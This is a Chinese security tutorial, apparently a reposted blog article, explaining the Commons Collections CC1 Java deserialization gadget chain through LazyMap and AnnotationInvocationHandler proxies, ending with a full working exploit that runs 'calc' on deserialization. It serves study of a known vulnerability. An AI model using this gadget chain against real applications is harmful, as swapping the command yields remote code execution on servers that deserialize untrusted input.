Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析

  • 前言
  • CC链分析
    • CC链1核心
    • LazyMap类
    • AnnotationInvocationHandler类
  • 完整exp:

前言

在看这篇文章前,可以看下我的上一篇文章,了解下cc链1的核心与环境配置

Java安全 CC链1分析

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链,并且用到了TransformedMap类中的方法触发了这条链transform的方法,但是还有一条链可以触发其transform方法,这条链用到了 LazyMap类

这条链用到了大量的反射与代理的知识,建议在看本文章前需要提前补充或复习

CC链分析

CC链1核心

首先我们回顾下cc链1的核心

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain = new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}

我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法,从而遍历循环直到命令执行。

LazyMap类

我们首先还是选中 transform 方法,右键选择查找用法

这次我们来到了 LazyMap 类当中的 get 方法
1707649096767.png
LazyMap类中的get方法的代码如下

    public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key); //关键map.put(key, value);return value;}return map.get(key);}

经分析得,当满足map.containsKey(key) == false时,便会执行factory对象transform方法

要想满足该语句,我们传入一个map数组中不存在的key键名即可

接下来我们看下 LazyMap 类的构造方法如下

protected LazyMap(Map map, Factory factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");}this.factory = FactoryTransformer.getInstance(factory);
}

发现 get 方法中的 factory 变量是可控的,可以赋值为上文的transformerChain 对象(cc链1核心),但是该构造方法是受保护的类型,并不能直接调用创建对象

然后我们往上找到了 decorate 方法,代码如下

    public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}

发现可以通过调用这个静态方法,获得一个 LazyMap 对象,并且 mapfactory 参数可控,这样如何获取 LazyMap 对象的问题便得到解决

我们先写一个demo试试这里的get方法是否真的可以触发cc链1

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class main2{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();Map decorate = LazyMap.decorate(hash, chainedTransformer);decorate.get("key");}
}

可以看到demo成功运行弹出计算器

1707649176962.png

AnnotationInvocationHandler类

接下来我们寻找如何触发 LazyMap 对象的get方法,我们同样右键查看用法,可以看到结果有很多,为了节约时间我们直接来到AnnotationInvocationHandler类

路径如下

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

1707649207381.png

AnnotationInvocationHandler类在 TransformedMap类所触发的cc链1中用到过,这里我们用到其 invoke 方法,该方法关键代码如下

public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象get方法,否则会提前返回值

第一个if:

   if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if:

if (paramTypes.length != 0)

我们无参调用方法即可绕过

接下来我们分析如何将 LazyMap对象赋值给该类的 memberValues变量,我们查看构造方法,发现该方法是私有的,我们无法调用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

然后我们看一下invoke方法所属类的定义,如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {……
}

发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写 invoke 方法,并且调用使用该代理处理器代理对象方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个 代理对象,通过反射让其代理处理器为AnnotationInvocationHandler类,然后无参调用代理对象的任意方法,即可触发invoke方法

在Java的动态代理机制中,在执行代理对象中的方法之前,会自动执行其代理处理器中的invoke方法

这样触发 invoke 方法的问题便解决了,接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象,并无参调用该代理对象中的方法即可,创建代理对象代码如下

Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);

接下来便是要解决——如何无参调用proxyInstance代理对象中的方法

这里实际上只要是找到无参调用对象中方法的地方即可,不限制在哪个类,但终点要为readObject方法

然后我们就近在这个类中,寻找一个无参调用memberValues中方法的方法,我们往下找到了readObject方法,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环

找到readObject方法也就意味着找到了cc链1的起点

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}

我们发现该语句可实现对memberValues变量中的方法实现无参调用

Object value = memberValue.getValue();

但是我们发现AnnotationInvocationHandler类是私有的,我们可以通过反射获取构造方法进而初始化,然后构造函数的memberValue变量值设置为我们的代理对象即可

整理下思路 我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance,然后又通过反射创建了一个AnnotationInvocationHandler对象,并将成员属性设置为代理对象proxyInstance,目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstancememberValues变量)实现无参调用,从而触发代理处理器AnnotationInvocationHandler类中的invoke方法,进而触发get方法,最后触发transform方法,从而实现cc链1

完整exp:

cc链1(Lazymap)完整exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc11 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动计算器new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate = LazyMap.decorate(hash, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);//再次通过反射创建代理对象Object o = constructor.newInstance(Override.class, proxyInstance);serialize(o);unserialize("1.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}

运行成功弹出计算器
1707649289145.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/465142.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python coding with ChatGPT 打卡第20天| 二叉搜索树:搜索、验证、最小绝对差、众数

相关推荐 python coding with ChatGPT 打卡第12天| 二叉树&#xff1a;理论基础 python coding with ChatGPT 打卡第13天| 二叉树的深度优先遍历 python coding with ChatGPT 打卡第14天| 二叉树的广度优先遍历 python coding with ChatGPT 打卡第15天| 二叉树&#xff1a;翻转…

opencv图像像素的读写操作

void QuickDemo::pixel_visit_demo(Mat & image) {int w image.cols;//宽度int h image.rows;//高度int dims image.channels();//通道数 图像为灰度dims等于一 图像为彩色时dims等于三 for (int row 0; row < h; row) {for (int col 0; col < w; col) {if…

Redis -- 数据库管理

目录 前言 切换数据库(select) 数据库中key的数量&#xff08;dbsize&#xff09; 清除数据库&#xff08;flushall flushdb&#xff09; 前言 MySQL有一个很重要的概念&#xff0c;那就是数据库database&#xff0c;一个MySQL里面有很多个database&#xff0c;一个datab…

vue核心技术(二)

◆ 指令补充 指令修饰符 通过 "." 指明一些指令 后缀&#xff0c;不同 后缀 封装了不同的处理操作 → 简化代码 v-bind 对于样式控制的增强 为了方便开发者进行样式控制&#xff0c; Vue 扩展了 v-bind 的语法&#xff0c;可以针对 class 类名 和 style 行内样式…

HiveSQL——用户行为路径分析

注&#xff1a;参考文档&#xff1a; SQL之用户行为路径分析--HQL面试题46【拼多多面试题】_路径分析 sql-CSDN博客文章浏览阅读2k次&#xff0c;点赞6次&#xff0c;收藏19次。目录0 问题描述1 数据分析2 小结0 问题描述已知用户行为表 tracking_log&#xff0c; 大概字段有&…

【漏洞复现】狮子鱼CMS文件上传漏洞(wxapp.php)

Nx01 产品简介 狮子鱼CMS&#xff08;Content Management System&#xff09;是一种网站管理系统&#xff0c;它旨在帮助用户更轻松地创建和管理网站。该系统拥有用户友好的界面和丰富的功能&#xff0c;包括页面管理、博客、新闻、产品展示等。通过简单直观的管理界面&#xf…

Z-Stack一直卡在HAL_BOARD_INIT();

原因是Debugger没有配置好&#xff0c;因为默认是Simulator&#xff0c;不是TI的驱动&#xff0c;所以仿真出现一直卡在 HAL_BOARD_INIT(); 的情况&#xff0c;解决方法就是将Simulator改为Texas Instruments 改成下面的样子

【Java EE初阶十二】网络编程TCP/IP协议(一)

1. 网络编程 通过网络&#xff0c;让两个主机之间能够进行通信->就这样的通信来完成一定的功能&#xff0c;进行网络编程的时候&#xff0c;需要操作系统给咱们提供一组API&#xff0c;通过这些API来完成编程&#xff1b;API可以认为是应用层和传输层之间交互的路径&#xf…

CTFshow-WEB入门-信息搜集

web1&#xff08;查看注释1&#xff09; wp 右键查看源代码即可找到flag web2&#xff08;查看注释2&#xff09; wp 【CtrlU】快捷键查看源代码即可找到flag web3&#xff08;抓包与重发包&#xff09; wp 抓包后重新发包&#xff0c;在响应包中找到flag web4&#xff08;robo…

面试经典150题——三数之和

​"The road to success and the road to failure are almost exactly the same." - Colin R. Davis 1. 题目描述 2. 题目分析与解析 2.1 思路一——暴力方法 因为三个数相加为0&#xff0c;那么说明其中两个加数的和与另一个加数为相反数则满足题意。所以可以得到…

CSP-201912-1-报数

CSP-201912-1-报数 知识点总结 整数转化为字符串#include <string> string str_num to_string(num);字符串中查找是否包含字符‘7’&#xff1a;str_num.find(7) 未找到返回-1找到返回返回该字符在字符串中的位置&#xff08;即第一次出现的索引位置&#xff09; #i…

Netty应用(六) 之 异步 Channel

目录 12.Netty异步的相关概念 12.1 异步编程的概念 12.2 方式1&#xff1a;主线程阻塞&#xff0c;等待异步线程完成调用&#xff0c;然后主线程发起请求IO 12.3 方式2&#xff1a;主线程注册异步线程&#xff0c;异步线程去回调发起请求IO 12.4 细节注释 12.5 异步的好处…